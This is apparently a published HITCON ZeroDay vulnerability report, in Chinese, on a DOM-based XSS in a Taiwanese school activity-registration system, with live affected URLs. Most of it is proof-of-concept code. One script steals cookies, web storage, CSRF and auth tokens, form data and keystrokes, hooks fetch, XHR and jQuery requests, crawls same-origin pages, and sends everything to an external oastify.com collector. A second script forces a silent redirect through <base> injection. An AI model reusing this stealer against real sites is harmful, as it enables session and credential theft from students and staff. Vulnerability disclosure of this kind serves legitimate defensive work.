Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-01175
- Vendor: 全誼資訊(或者桃园市教育系统?)
- Title: 全誼資訊活動報名系統 DOM 型 XSS
- Introduction: 前端採用 jQuery Form 外掛的 ajaxSubmit( target: ... ) 將伺服器回應以原始 HTML 直接注入 DOM,導致 DOM-based XSS 與 <base> 汙染(可重寫相對 URL、觸發無提示跳轉等)
處理狀態
目前狀態
公開
Last Update : 2025/11/11
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/09/11 21:31:51 : 新提交 (由 23882 更新此狀態)
- 2025/09/17 14:38:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/18 18:18:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/18 18:18:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/18 18:18:32 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/11/11 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-01175
- 通報者:23882 (23882)
- 風險:高
- 類型:基於 DOM 的 XSS (DOM-based Cross-Site Scripting)
參考資料
攻擊者可經由該漏洞竊取使用者身份,或進行掛碼、轉址等攻擊行為。
漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
防護原則:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
XSS 防禦繞過方式:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
防護原則:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
XSS 防禦繞過方式:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://mis.schoolsoft.com.tw/jsp/act_register/ACTOutIndexAction.do?method=ACTOutIndex_MangList&schno=034787(同路徑其它 schno 亦受影響)
敘述
漏洞概要
使用 jQuery Form 外掛(版本 4.3.0)時,前端以 ajaxSubmit({ target: '#容器' }) 在未指定 dataType 的情況下,會把伺服器回應原樣插入 DOM。
若回應中包含可控內容,攻擊者可藉此注入危險標籤(如 <base>、<meta http-equiv="refresh">、帶內聯事件的元素等),產生 DOM 型 XSS、無提示跳轉、相對 URL 被改寫到外域等風險。
复现
poc代码,在浏览器控制台输入即可(收集端url记得改,只需要改开头那个就行了)
1.在受影响链接实时监控浏览器敏感数据(基于domxss)
(function(){
const COLLECT = 'https://t93up829zoizi9r5vfjkqiqyfplk9ex3.oastify.com';
if (!/^https?:\/\//i.test(COLLECT)) { alert('注意请先把 COLLECT 改成你的收集端 URL'); return; }
// 核心数据外送函数 (优先 sendBeacon)
function ship(obj, tag){
try{
const data = { tag: tag||'dump', at: new Date().toISOString(), url: location.href, ua: navigator.userAgent, data: obj };
const blob = new Blob([JSON.stringify(data)], {type:'text/plain;charset=UTF-8'});
if (navigator.sendBeacon && navigator.sendBeacon(COLLECT, blob)) return true;
fetch(COLLECT, {method:'POST', body: blob, mode:'no-cors', keepalive:true}).catch(()=>{});
return true;
}catch(e){
try{
const s = btoa(unescape(encodeURIComponent(JSON.stringify(obj))));
const CH = 1500; let off=0, idx=0;
while (off < s.length) {
const img = new Image();
img.src = COLLECT + '?t='+(tag||'dump')+'&i='+idx+'&d=' + encodeURIComponent(s.slice(off, off+CH));
off += CH; idx++;
}
}catch(_){}
return false;
}
}
// 截取浏览器快照 (Cookie, Storage, Tokens, Forms)
function snapshotBasic(){
const cookies = {}; (document.cookie||'').split(';').map(s=>s.trim()).filter(Boolean).forEach(kv=>{
const i=kv.indexOf('='); cookies[decodeURIComponent(kv.slice(0,i))]=decodeURIComponent(kv.slice(i+1));
});
const ls={}, ss={};
for (let i=0;i<localStorage.length;i++){ const k=localStorage.key(i); ls[k]=localStorage.getItem(k); }
for (let i=0;i<sessionStorage.length;i++){ const k=sessionStorage.key(i); ss[k]=sessionStorage.getItem(k); }
const metas={}, hid={};
document.querySelectorAll('meta[name*="csrf"],meta[name*="token"],meta[name*="auth"]').forEach(m=> metas[m.getAttribute('name')]=m.getAttribute('content'));
document.querySelectorAll('input[type=hidden][name*="csrf"],input[type=hidden][name*="token"],input[type=hidden][name*="auth"]').forEach(i=> hid[i.name]=i.value);
const forms=[];
document.querySelectorAll('form').forEach(f=>{
const o={action:f.action, method:(f.method||'GET').toUpperCase(), inputs:[]};
f.querySelectorAll('input,select,textarea').forEach(el=>{
const t=(el.type||el.tagName).toLowerCase(); const n=el.name||'(no-name)';
const v=(t==='password')?'******':(el.value||'');
o.inputs.push({type:t,name:n,value:v.slice(0,120)});
}); forms.push(o);
});
return {cookies, localStorage:ls, sessionStorage:ss, metaTokens:metas, hiddenTokens:hid, forms};
}
// 钩子:监听键盘输入与网络请求 (fetch/XHR/jQuery)
const loot = { keystrokes:[], fetch:[], xhr:[], jq:[] };
document.addEventListener('keyup', function(ev){
const t=(ev.target&& (ev.target.type||ev.target.tagName)||'').toLowerCase();
if (/input|textarea|text|password/.test(t)) {
loot.keystrokes.push({t:Date.now(), tag:t, name:ev.target.name||'', val:(ev.target.type==='password')?'******':ev.target.value});
}
}, true);
if (window.fetch){
const _fetch = window.fetch;
window.fetch = async function(input, init){
const rec = {when:Date.now(), url:(input&&input.url)||String(input), method:(init&&init.method)||'GET'};
try{
const res = await _fetch.apply(this, arguments);
const clone = res.clone(); const txt = await clone.text().catch(()=>'(non-text)');
rec.status=res.status; rec.len=txt.length; rec.sample=txt.slice(0,800);
loot.fetch.push(rec); ship(rec,'fetch'); return res;
}catch(e){ rec.error=String(e); loot.fetch.push(rec); ship(rec,'fetch'); throw e; }
};
}
(function(){
const X=window.XMLHttpRequest; if(!X) return;
const open=X.prototype.open, send=X.prototype.send;
X.prototype.open=function(m,u){ this.__m=m; this.__u=u; return open.apply(this, arguments); };
X.prototype.send=function(b){
const rec={when:Date.now(), url:this.__u, method:this.__m, bodyPreview: b&&String(b).slice(0,300)};
this.addEventListener('load', function(){
try{ rec.status=this.status; const t=this.responseText||''; rec.len=t.length; rec.sample=t.slice(0,800); loot.xhr.push(rec); ship(rec,'xhr'); }catch(_){}
});
return send.apply(this, arguments);
};
})();
if (window.jQuery && jQuery.ajax){
const orig = jQuery.ajax;
jQuery.ajax = function(opts){
const o=opts||{}; const rec={when:Date.now(), url:o.url||'', method:(o.type||o.method||'GET').toUpperCase()};
const _succ=o.success, _comp=o.complete;
o.success=function(data, status, xhr){
try{ const txt=(typeof data==='string')?data:(xhr&&xhr.responseText)||''; rec.status=(xhr&&xhr.status)||200; rec.len=txt.length; rec.sample=String(txt).slice(0,800); loot.jq.push(rec); ship(rec,'jquery'); }catch(_){}
return _succ && _succ.apply(this, arguments);
};
o.complete=function(xhr,status){ rec.completeStatus=status; return _comp && _comp.apply(this, arguments); };
return orig.call(this, o);
};
}
// 简易同源页面爬取采样
(async function crawl(){
const links=[...document.querySelectorAll('a[href]')].map(a=>a.href).filter(u=>u.startsWith(location.origin));
const uniq=[...new Set(links)].slice(0,25);
for (const u of uniq){
try{
const r = await fetch(u, {credentials:'include'}); const t=await r.text().catch(()=>'(non-text)');
ship({url:u, status:r.status, length:t.length, sample:t.slice(0,1200)}, 'crawl');
}catch(e){ ship({url:u, error:String(e)}, 'crawl'); }
}
})();
// 立即发送初始快照
ship(snapshotBasic(), 'snapshot');
console.log('%c[已开启]','background:#222;color:#0f0;padding:4px','→ 发送至:',COLLECT);
})();
输入完代码后再点击随意用户,比如点击蓝色的名字,可发送敏感信息出去到攻击者手中
(受限于bp问题,乱码需要复制到任意除了bp的输入框即可正常显示,用的外校学生演示)
2.自动跳转页面( <base> 污染 + ajaxSubmit({target}) 注入相对链接,无提示立刻跳转到 Baidu。)
/* <base> 污染 → 自动跳转到 Baidu(无确认) */
(function () {
if (!(window.jQuery && $.fn && $.fn.ajaxSubmit)) {
console.warn('未检测到 jQuery Form($.fn.ajaxSubmit)'); return;
}
const BOX = '__poc_nav_box_auto', FORM = '__poc_nav_form_auto';
const $box = $('<div id="'+BOX+'">').appendTo(document.body);
const $form = $('<form id="'+FORM+'"></form>').appendTo(document.body);
// stub 掉 $.ajax:返回含 <base> 的“伪响应”,触发 target 分支把 HTML 塞进 DOM
const origAjax = $.ajax;
$.ajax = function (opts) {
setTimeout(function () {
(opts.success || $.noop)(
'<base href="https://www.baidu.com/">' +
'<a id="__poc_nav_auto" href="s?wd=%E6%B5%8B%E8%AF%95">go</a>',
'success',
{ getResponseHeader: () => 'text/html' }
);
(opts.complete || $.noop)({}, 'success');
}, 0);
return { abort: function () {} };
};
try { $form.ajaxSubmit({ target: '#'+BOX }); } catch (e) { console.error(e); $.ajax = origAjax; return; }
// 注入完成后,解析相对链接并自动跳转(不弹确认)
setTimeout(function () {
try {
const a = document.getElementById('__poc_nav_auto');
if (!a) throw new Error('未找到注入的相对链接');
const target = a.href; // 期望:https://www.baidu.com/s?wd=测试
console.log('[PoC] 自动跳转 →', target);
try { a.click(); } catch (_) {}
setTimeout(function(){ location.assign(target); }, 10); // 双保险
} finally {
// 收尾(若已离开页面则无影响)
$.ajax = origAjax;
document.getElementById(BOX)?.remove();
document.getElementById(FORM)?.remove();
document.querySelectorAll('base[href="https://www.baidu.com/"]').forEach(n => n.remove());
}
}, 40);
})();
影响
所有使用 jQuery Form ajaxSubmit({ target: ... }) 且未指定 dataType:'json' 的頁面/功能皆受影響。(不止局限于https://mis.schoolsoft.com.tw/jsp/act_register/ACTOutIndexAction.do?method=ACTOutIndex_MangList&schno=034787,这里更改学校都可以用)
如回應內容包含可回顯的使用者輸入(標題、備註等),可穩定轉化為可利用的 DOM XSS/跳轉。
(补充说明:关于漏洞方,刚开始是在桃园市长庚国民小学官网的报名系统进去的,但是这个地方疑似有桃园市多所学校都有此漏洞,所以平台有点不知道选什么)
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。